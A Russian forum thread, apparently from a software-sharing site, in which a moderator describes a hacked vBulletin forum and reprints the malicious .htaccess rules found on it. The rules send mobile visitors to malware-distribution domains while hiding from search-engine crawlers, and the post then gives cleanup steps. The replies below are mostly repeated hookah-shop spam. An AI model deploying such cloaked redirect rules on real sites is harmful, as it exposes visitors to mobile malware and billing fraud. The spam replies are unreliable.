1. Приветствую гостей и пользователей нашего форума! Первый раз вы у нас или же давно участвуете в жизни ресурса, хочу напомнить несколько моментов.

    1) Пользуемся поиском по форуму! Зачастую информация может находиться не по разделу!

    2) Раздел ИНФО-продуктов относительно новый, но имеем уже более 3000 высококлассных материалов (пользуемся сортировкой по прификсам).

    3) И самое важное, КАК КАЧАТЬ БЕЗ ОГРАНИЧЕНИЙ, вся информация находится по этой ссылке КУПИТЬ VIP

    4) Временная акция, получи +5 постов за вступление в нашу группу "Вконтакте" Более подробно ТУТ

    5) Веди активную жизнь на форуме и получай рубли на личный счёт!

    Скрыть объявление
  2. На нашем форуме Null-Prog действует серьёзное правило касательно размещения материалов!

    ДЛЯ РЕЛИЗЁРОВ: категорически запрещается выкладка материалов на файлообменники типа Deposit, letitbit и другие, требующие просмотров рекламы, обрезающие скорость и тд. Нарушителям, первые 2 раза предупреждения, далее БАН. Тему по этому поводу можно посмотреть ТУТ

    Скрыть объявление
  3. В тестовом режиме на нашем форуме открыт онлайн конструктор сайтов. Вы можете попробовать создать свой сайт у НАС, интуитивно понятный интерфейс, переведёт на 95%, быстрый экспорт проекта, от вас только перетаскивать элементы и вставить в них необходимый текст!

    Все вопросы ТУТ

    Скрыть объявление

  4. Скрыть объявление
  5. Уважаемые форумчане, открывается новый раздел форума, посвящённый ремонту и эксплуатации автомобилей. Просмотреть его можно ТУТ

    Так как раздел новый, информация будет пополнять каждый день. Если есть какие либо замечания по этому разделу, отписываемся в соответствующий раздел форума, либо в личку.

    Напоминаю, сообщения в разделе АВТО не учитываются, общение не ограничено.

    Скрыть объявление
  6. Объявляется набор Модераторов на различные раздел форума, свои заявки можно оставлять в ЭТОМ разделе, перед оставлением заявки рекомендуется ознакомиться с ПРАВИЛАМИ для модераторов.

Взлом vBulletin через htaccess

Тема в разделе "Уязвимости vBulletin", создана пользователем Sam Jack, 19 май 2015.

Метки:
  1. Sam Jack

    Sam Jack Капитан-Узурпатор
    Команда форума Созидатель

    Регистрация:
    5 май 2015
    Сообщения:
    13.755
    Симпатии:
    4.750
    Еще одна тема обзора уязвимостей, с которой столкнулся совсем недавно. Это взлом воблы и перенаправление трафика через .htaccess.

    Первый признак, что с вашим форумом что-то не так - это исчезновение трафика с Яндекса.

    Чтобы кто ни говорил, а именно Яндекс реагирует самый первый, если ваш форум заболел.

    Итак, мы имеем пациента vBulletin 3.8.5 с установленным и пропатченным vbSEO. Форум хостится на шаред хостинге в Германии, и Яндекс обнаружил на форуме вредоносный код.

    Интересный момент:
    Сегодня проверка Яндекса вредоносный код показывает, завтра видит форум чистым. И так несколько раз подряд.

    Что же на самом деле случилось с форумом, и почему он "угрожает безопасности вашего компьютера"? Именно такая надпись появляется, если просто забить URL в поисковую строку Яндекса.

    Беглый обзор файлов в файловой системе по последним изменениям не дал ничего интересного. Все изменения были произведены достаточно давно: в феврале, а то еще и позже, но просмотр .htaccess в корневой папке показал, что туда злоумышленник прописал следующие строки:
    Код:
    RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
    RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
    RewriteRule (.*) http://get.loadfilemobile.ru/?go&source=вашсайт.ru [L,R=302] # on
    RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
    RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
    RewriteRule (.*) http://uploads-xxx.ru/?8&source=вашсайт.ru [L,R=302] # On  
    То есть в результате мы имеем следующее. При посещении вашего форума с компьютера не происходит абсолютно ничего. Как только пользователь переходит с мобильного устройства, его с вашего форума перекидывает на те пару сайтов, что мы видим в коде выше.


    Теперь немного отвлечемся и я вкратце расскажу зачем это кому-то нужно.

    Собственно сам ваш форум никому не нужен. Злоумышленнику важен трафик вашего форума, и если он достаточно большой, и если ваш форум посещают часто с мобильных устройств, то для них это золотое дно. Пользователь, зайдя на ваш форум со смартфона, вместо общения с вашими пользователями попадает на левый сайт, который предлагает, например обновить флэш плеер, или что-то еще. После обновления у вас на мобильном устройстве появляется вирус, который списывает деньги со счета. В одних случаях это немного, в других порядка 490 руб и выше. 490 руб это средняя планка.

    В некоторых случаях сам взлом происходит через уязвимости самого движка, хаков, модулей и тд. Как мы помним истории периодически потрясают Рунет. Например, пациент мог быть вполне взломан во время той историиНайдена уязвимость vbSEO , и как выяснилось пропатчен форум был не до конца. Но, существует и иной вариант.

    Многие форумы хостятся на шаред хостинге. То есть получается что на одном сервере уютно живет множество сайтов. 200, 300 и более. Все сайты разные, работают на самых разных движках, защищенных и нет, и если хостер не очень сильно заботится о безопасности, то через уязвимость на одном из них злоумышленник получает доступ к phpMyAdmin.
    Лично у меня были несколько случаев взлома сайтов через Директ Админ.

    Как лечить?
    • Проверить наличие изменений в файловой системе по дате. Если изменения есть, но вы ничего не меняли, заменить файлы из дистрибутива.
    • Проверить исходный код страницы форума на наличие сторонних скриптов, или непонятного кода.
    • В данном случае проверить ВСЕ файлы .htaccess форума. Как правило они изменяются все.
    • Выполнить все рекомендации темы: Как защитить форум на vBulletin
    • Сменить пароли на FTF, пароли базы данных, пароли панели управления хостинга, админские пароли.

    Возможно сменить хостинг.
     
    Метки:
  2. Fridrix

    Fridrix Новичок

    Регистрация:
    17 май 2016
    Сообщения:
    8
    Симпатии:
    0
    интересно кто-то делает доры на vbulletin? пока 90% это или wordpress или joomla, на vBulletin еще не разу не видел
     
  3. Litlemousedot

    Litlemousedot Новичок

    Регистрация:
    25 янв 2019
    Сообщения:
    18
    Симпатии:
    0
  4. Georgesob

    Georgesob Новичок

    Регистрация:
    18 сен 2020
    Сообщения:
    42
    Симпатии:
    0
    Основная масса кальянов ( как и многие другие вещи) производятся в Китае, компаниями,
    которые базируются например в США или других странах.
    Традиционные модели поступают на наши полки с Ближнего Востока и других стран Средиземноморья – Египта, Ливана, Турции и пр.
    Первые изготавливаются на сборочных линиях, в то время как вторые изготавливаются в основном вручную.
    Купить кальян в Хабаровске можно в розничных магазинах,но лучше сделать заказ у нас -прямых поставщиков данного Device.
    Так же с популяризацией кальянов в России, с каждым днем все больше производителей начинают выпускать кальяны полностью изготовленные отечественными мастерами.

    Amy Deluxe 25873a1
     
  5. Matthewpog

    Matthewpog Новичок

    Регистрация:
    18 сен 2020
    Сообщения:
    35
    Симпатии:
    0
    Как и с любым другим предметом обихода, стоимость на кальяны невероятно разнится.
    Существуют дешевые , но не очень качественные модели, «дешевые и сердитые» – доступные и очень практичные и разумеется эксклюзивные
    – из дорогих материалов с обильной детализацией. Но независимо от того , сколько Вы готовы потратить на кальян,
    лучше все же не приобретать дешевые Китайские модели, потому что они не доставят нужного удовольствия как в курительных свойствах,
    эстетических так и просто на просто могут быть не безопасны. Простыми словами – одно разочарование.
    Лучше накопить и купить качественный кальян и использовать его несколько лет , чем выкидывать деньги на ветер и кальян после недолгого потребления.
    Поэтому при выборе кальяна обратите внимание как минимум на внешний вид – он не должен быть поврежден,
    все элементы при сборке должны плотно прилегать друг к другу, для создания герметичности.
    Но,где купить кальян в Хабаровске?Покупка должна быть осмысленной и желательно бюджетной.

    Major bb2028d
     
  6. Georgesob

    Georgesob Новичок

    Регистрация:
    18 сен 2020
    Сообщения:
    42
    Симпатии:
    0
    Основная масса кальянов ( как и многие другие вещи) производятся в Китае, компаниями,
    которые базируются например в США или других странах.
    Традиционные модели поступают на наши полки с Ближнего Востока и других стран Средиземноморья – Египта, Ливана, Турции и пр.
    Первые изготавливаются на сборочных линиях, в то время как вторые изготавливаются в основном вручную.
    Купить кальян в Хабаровске можно в розничных магазинах,но лучше сделать заказ у нас -прямых поставщиков данного Device.
    Так же с популяризацией кальянов в России, с каждым днем все больше производителей начинают выпускать кальяны полностью изготовленные отечественными мастерами.

    Smoky Box b2028d3
     
  7. Georgesob

    Georgesob Новичок

    Регистрация:
    18 сен 2020
    Сообщения:
    42
    Симпатии:
    0
    Основная масса кальянов ( как и многие другие вещи) производятся в Китае, компаниями,
    которые базируются например в США или других странах.
    Традиционные модели поступают на наши полки с Ближнего Востока и других стран Средиземноморья – Египта, Ливана, Турции и пр.
    Первые изготавливаются на сборочных линиях, в то время как вторые изготавливаются в основном вручную.
    Купить кальян в Хабаровске можно в розничных магазинах,но лучше сделать заказ у нас -прямых поставщиков данного Device.
    Так же с популяризацией кальянов в России, с каждым днем все больше производителей начинают выпускать кальяны полностью изготовленные отечественными мастерами.

    Koress 8d396ce
     
  8. Matthewpog

    Matthewpog Новичок

    Регистрация:
    18 сен 2020
    Сообщения:
    35
    Симпатии:
    0
    Как и с любым другим предметом обихода, стоимость на кальяны невероятно разнится.
    Существуют дешевые , но не очень качественные модели, «дешевые и сердитые» – доступные и очень практичные и разумеется эксклюзивные
    – из дорогих материалов с обильной детализацией. Но независимо от того , сколько Вы готовы потратить на кальян,
    лучше все же не приобретать дешевые Китайские модели, потому что они не доставят нужного удовольствия как в курительных свойствах,
    эстетических так и просто на просто могут быть не безопасны. Простыми словами – одно разочарование.
    Лучше накопить и купить качественный кальян и использовать его несколько лет , чем выкидывать деньги на ветер и кальян после недолгого потребления.
    Поэтому при выборе кальяна обратите внимание как минимум на внешний вид – он не должен быть поврежден,
    все элементы при сборке должны плотно прилегать друг к другу, для создания герметичности.
    Но,где купить кальян в Хабаровске?Покупка должна быть осмысленной и желательно бюджетной.

    Alpha Hookah 873a154
     
  9. Georgesob

    Georgesob Новичок

    Регистрация:
    18 сен 2020
    Сообщения:
    42
    Симпатии:
    0
    Как и с любым другим предметом обихода, стоимость на кальяны невероятно разнится.
    Существуют дешевые , но не очень качественные модели, «дешевые и сердитые» – доступные и очень практичные и разумеется эксклюзивные
    – из дорогих материалов с обильной детализацией. Но независимо от того , сколько Вы готовы потратить на кальян,
    лучше все же не приобретать дешевые Китайские модели, потому что они не доставят нужного удовольствия как в курительных свойствах,
    эстетических так и просто на просто могут быть не безопасны. Простыми словами – одно разочарование.
    Лучше накопить и купить качественный кальян и использовать его несколько лет , чем выкидывать деньги на ветер и кальян после недолгого потребления.
    Поэтому при выборе кальяна обратите внимание как минимум на внешний вид – он не должен быть поврежден,
    все элементы при сборке должны плотно прилегать друг к другу, для создания герметичности.
    Но,где купить кальян в Хабаровске?Покупка должна быть осмысленной и желательно бюджетной.
    Amy Deluxe 25873a1
     

Поделиться этой страницей

iHax Community
Рейтинг@Mail.ru Яндекс.Метрика мониторинг сайтов
Форум программного обеспечения/
Загрузка...